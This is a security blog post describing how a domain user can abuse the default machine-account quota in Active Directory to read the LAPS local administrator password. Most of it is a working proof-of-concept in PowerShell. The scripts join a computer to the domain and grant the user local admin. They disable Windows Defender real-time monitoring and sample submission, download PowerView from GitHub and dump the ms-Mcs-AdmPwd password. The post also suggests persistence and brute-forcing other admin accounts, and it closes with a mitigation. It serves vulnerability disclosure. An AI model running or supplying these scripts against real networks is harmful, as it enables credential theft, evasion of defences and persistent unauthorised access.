Abusing LAPS

Introduction
This blog post explains a misconfiguration based flaw about Local Administrator Password Solution. ms-DS-Machine-Account-Quota is defined as “The number of computer accounts that a user is allowed to create in a domain." The ms-DS-Machine-Account-Quota is attribute that defines number of computer accounts could be joined to  domain by domain user. ms-Mcs-AdmPwd is attribute that stores the clear-text local Administrator password for the computer object. It can be set on each computer after LAPS installation for domain environment. “The ‘Local Administrator Password Solution’ (LAPS) provides management of local account passwords of domain joined computers. Passwords are stored in Active Directory (AD) and protected by ACL, so only eligible users can read it or request its reset.” If the ms-DS-Machine-Account-Quota attribute is default and there is no delegation about domain join permissions to add computer to Active Directory , a domain user can add computer account to active directory domain using the ms-ds-machine-account-quota attribute which is set “10” value as default. So that user can read ms-Mcs-AdmPwd attribute value by obtaining Owner Rights on computer that is added by himself even if LAPS configuration is completed correctly . 
Domain user gainsAll extended rights over the computer account even if All extended rights permissions are disabled on Organizational Unit and all descendant objects during LAPS configuration process.(Microsoft LAPS_OperationsGuide.docx document) So that domain user reads password of local administrator user and uses the password for persistence. For example, user can edit registry settings or add own account to local administrators group after GPO which removes undefined users from local administrators group. Also attacker can obtain information about complexity of Administrator passwords and create wordlist according to complexity policies. Then attacker can conduct bruteforce attack against to Administrator user that was not locked never.
 
Proof Of Concept
1. Configuration
domain name: offensive.local ,  domain user samAccountName: mkandemir, organizational unit (OU): DomainComputers
Assuming that mkandemir is a domain user that has privilege of adding computer account to domain offensive.local up to 10 default (ms-ds-machine-account-quota) and  there is no delegation about domain join permissions to add computer to Active Directory.   Laps configuration is applied for DomainComputers organizational unit that includes adding new computer accounts. According to below configuration , only system and members of Domain Admins group reads local admin passwords so mkandemir domain user must not read local Administrator password (ms-Mcs-AdmPwd) in the teory. Configuration is applied according to Microsoft “LAPS_TechnicalSpecification” Word document. In Stage 6.2, it says “Delegation of permissions on computers accounts is performed on OU (OUs) that contain computer accounts in scope of the solution.”
Remove All Extended rights permission
Add Write permission to ms-Mcs-AdmPwdExpirationTime and ms-Mcs-AdmPwd attributes to SELF
Add CONTROL_ACCESS permission to ms-Mcs-AdmPwd attribute
Add Write permission to ms-Mcs-AdmPwdExpirationTime attribute
Setup of auditing of password reads
Permissions for DomainComputers  are following before a computer is added to organizational unit by mkandemir user.
2. Joining Computer Account to Active Directory using ms-DS-Machine-Account-Quota attribute default value
offensive\mkandemir user adds computer (DESKTOP-G8E7GKM) and obtains local Administrator rights before computer is rebooted. Basic powershell script could be used for joining domain and adding account to local administrators group.
1
function Add-ComputerToDomainWithUserRights {
2
<#
3
.SYNOPSIS
4
    This script joins a computer to domain with domain user rights by using ms-DS-Machine-Account-Quota attribute.
5
    Also, adds domain user to local Administrators group.
6
​
7
.PARAMETER dcIp
8
    The parameter dcIp is used to define the IPv4 address of Domain Controller.
9
​
10
.PARAMETER dName
11
    The parameter dName is used to define the Domain Name.
12
​
13
.PARAMETER uName
14
    The parameter uName is used to define the value of Domain User samAccountName attribute. 
15
 
16
.PARAMETER restart
17
    The parameter restart is used to restart computer after adding process.
18
​
19
.EXAMPLE
20
    PS C:\> Add-ComputerToDomainWithUserRights -restart
21
    PS C:\> Add-ComuterToDomainWithUserRights
22
​
23
.NOTES
24
    Windows Powershell must be run as Administrator on computer that will be joined to domain.
25
    If running script is disabled on your system, execute following command firstly:
26
    Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
27
#>
28
    param (
29
        [string]$dcIp = $(Read-Host -Prompt '[*] Domain Controller IPv4 address '),
30
        [string]$dName = $(Read-Host -Prompt '[*] Domain Name '),
31
        [string]$uName = $(Read-Host -Prompt '[*] Domain UserName '),
32
        [switch]$restart
33
    ) 
34
    begin {
35
        Get-NetAdapter
36
        [int]$index = $(Read-Host -Prompt '[*] index of interface ')
37
    }
38
    process {
39
        Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dcIp -ErrorAction Stop
40
        Write-Host "[*] Adding computer account to Active Directory." -ForegroundColor Yellow
41
        Add-Computer -DomainName $dName -Credential $dName\$uName -Verbose -ErrorAction Stop
42
        Add-LocalGroupMember -Group "Administrators" -Member "$dName\$uName"
43
        Write-Host "[+] $uName domain user is added to local administrators group." -ForegroundColor Green
44
        Write-Host "[*] Restarting is required to achieve adding process." -ForegroundColor Yellow
45
        if ($restart) {
46
            Restart-Computer
47
        } else {
48
            Write-Host "[-] Computer restarting is cancelled!" -ForegroundColor Red
49
        }
50
​
51
    } 
52
        
53
    }  
54
​
Copied!
The user restarts computer after this process and logs on DESKTOP-G8E7GKM computer as offensive\mkandemir domain user.
3. Reading ms-Mcs-AdmPwd attribute
a) If there is no a group policy object(GPO) that defines who are local users so that mkandemir user remains local admin after computer is rebooted.
mkandemir user can read ms-Mcs-AdmPwd attribute using Get-NetComputer cmdlet from PowerView.ps1 . However PowerView.ps1 is detected Windows Defender that must be disabled so local admin right is required. The user can disable Defender and read local administrator password even if All extended rights permission is removed from users and groups before computer adding process. Above LAPS configuration defines Domain Admins group is authorized for reading local admin passwords but mkandemir user can gain All Extended Rights over DESKTOP-G8E7GKM object that added by himself. This is possible because ms-DS-Machine-Account-Quota attribute value is 10 defaultly.
Reading ms-Mcs-AdmPwd attribute that stores local admin user password (with Powerview.ps1):
1
function Get-LapsLocalAdminPassword {
2
    <#
3
    .SYNOPSIS
4
        This script reads ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime attributes if user have all
5
        extended rights on computer account.
6
    .PARAMETER pUrl
7
        The parameter pUrl is used to define the URL of PowerView script.
8
    .PARAMETER disableDefender
9
        The parameter disableDefender is used to disable Windows Defender.
10
    .EXAMPLE
11
        PS C:\> Get-LocalAdminPassword -disableDefender
12
    .NOTES
13
        Windows Powershell should be run as domain user rights with local admin privileges.
14
        If you have Internet connection during penetration test,powerview url is following.
15
        https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
16
        If running scripts is disabled on your system, execute following command firstly:
17
        Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
18
    #>
19
    param (
20
        [string]$pUrl = $(Read-Host -Prompt '[*] Url of Powerview.ps1 script '),
21
        [switch]$disableDefender
22
    )
23
    begin {
24
        Write-Host " Obtaining ms-mcs-admpwd attribute value via MS-DS-Machine-Account-Quota" -ForegroundColor Green
25
    }
26
    process {
27
        $dPath = $env:USERPROFILE
28
        Write-Host "UserProfile: $dPath" -ForegroundColor Yellow
29
        $hName = $env:COMPUTERNAME
30
        Write-Host "Computername: $hName" -ForegroundColor Yellow
31
        Write-Host "[*] Windows Defender will be disabled for running PowerView.ps1 $disableDefender"
32
    if ($disableDefender) {
33
        Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable -ErrorAction Stop
34
        Invoke-WebRequest $pUrl -OutFile $dPath\Desktop\PowerView.ps1 -TimeoutSec 30
35
        Import-Module -Name $dPath\Desktop\PowerView.ps1
36
        $admPwd = Get-DomainComputer -Identity $hName | Select-Object -Property ms-mcs-*
37
        Write-Host "$admPwd" -ForegroundColor Green
38
        $eTime = Read-Host -Prompt '[*] String admpwd expirationtime'
39
        $expTime = cmd.exe /c "w32tm /ntte $eTime"
40
        Write-Host "$expTime" -ForegroundColor Green
41
    } else {
42
        Write-Host "[-] Cancelled!" -ForegroundColor Red
43
    }
44
    }
45
}
Copied!
b) If there is a group policy object (GPO) that defines who are local users so that mkandemir user does not remains local admin after computer is rebooted. To read ms-mcs-admpwd attribute value,  user must install LAPS management Powershell module (AdmPwd.PS) before adding computer to Active Directory. So that password could be read using AdmPwd.PS module.
Reading ms-Mcs-AdmPwd attribute that stores local admin user password (with AdmPwd.PS):
1
function Get-LapsLocalAdminPassword {
2
    <#
3
    .SYNOPSIS
4
        This script reads ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime attributes if user have all extended rights on computer account without
5
        local admin privileges.
6
    
7
    .PARAMETER LapsInstalled
8
        The parameter LapsInstalled is used to define the AdmPwd.PS module is installed.
9
​
10
    .PARAMETER OtherComputer
11
        The parameter OtherComputer is used to query for other computer.
12
​
13
    .EXAMPLE
14
        PS C:\> Get-LocalAdminPassword –LapsInstalled
15
	    PS C:\> Get-LocalAdminPassword –LapsInstalled -OtherComputer
16
    
17
    .NOTES
18
        Windows Powershell should be run as domain user rights. If GPO is applied which only specified users join local adminstrators group , this script could be executed without admin rights.  
19
​
20
        If running scripts is disabled on your system, execute following command firstly.
21
        Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
22
​
23
    #>
24
        param (
25
    
26
            [switch]$LapsInstalled,
27
            [switch]$OtherComputer
28
        ) 
29
        begin {
30
            
31
            Write-Host "Obtaining ms-mcs-admpwd attribute value via MS-DS-Machine-Account-Quota" -ForegroundColor Green
32
        }
33
        process {
34
          
35
            $dPath = $env:USERPROFILE
36
            Write-Host "UserProfile: $dPath" -ForegroundColor Yellow
37
            $hName = $env:COMPUTERNAME
38
            Write-Host "Computername: $hName" -ForegroundColor Yellow
39
            Write-Host "[*] Did you install LAPS management powershell module? $LapsInstalled"
40
            if ($LapsInstalled) {
41
                Import-Module AdmPwd.PS
42
                Write-Host "[*] Would you like to query another computer account you added yourself? $otherComputer"
43
                if ($OtherComputer) {
44
                    $computer = Read-Host -Prompt "[*] Computer name "
45
                    Get-AdmPwdPassword -ComputerName $computer | format-list -Property ComputerName, ExpirationTimestamp, Password  
46
                        
47
                } else {
48
                    Get-AdmPwdPassword -ComputerName $hname | format-list -Property ComputerName, ExpirationTimestamp, Password 
49
                        
50
                }
51
            } else {
52
                Write-Host "[-] Cancelled!" -ForegroundColor Red
53
            }
54
            }
55
​
56
} 
57
​
Copied!
Conclusion
If the ms-DS-Machine-Account-Quota attribute value is default and there is no delegation about domain join permissions to add computer to Active Directory , a domain user can add computer account to domain using the ms-ds-machine-account-quota attribute .  So that domain user reads password of local administrator user and uses the password for persistence. For example, user can edit registry settings or add own account to local administrators group after GPO which removes undefined users from local administrators group. Also, this is information disclosure vulnerability, user can add computer and read LAPS password so that he can obtain information about complexity and length of other Administrator passwords. Because, LAPS carries out similar password property for all computer accounts that group policy is applied.
GitHub - passtheticket/Abusing_Laps_Toolkit: abusing misconfiguration for AD with LAPS
GitHub
Mitigation
Microsoft LAPS 6.2 installation document don't handle this issue and they didn't update it. So don't make configuration according to Microsoft LAPS_OperationsGuide.docx and LAPS_TechnicalSpecification documents only. 
​https://www.microsoft.com/en-us/download/details.aspx?id=46899​
If Laps Administrator Password Solution is used, set ms-ds-machine-account-quota as "0" or delegation must be applied a user group for adding computer to domain. Otherwise user can add computer to domain and read local admin user password via LAPS misconfiguration. 
References
​https://docs.microsoft.com/tr-tr/windows/win32/adschema/a-ms-ds-machineaccountquota​
​https://www.microsoft.com/en-us/download/details.aspx?id=46899​
​https://docs.microsoft.com/en-us/windows/win32/adschema/a-ms-ds-machineaccountquota​
​https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1​
​https://download.microsoft.com/download/C/7/A/C7AAD914-A8A6-4904-88A1-29E657445D03/LAPS_OperationsGuide.docx​
​
​
Hiren's BootCD in the AD
INLINE
Last modified 2mo ago
Copy link
Contents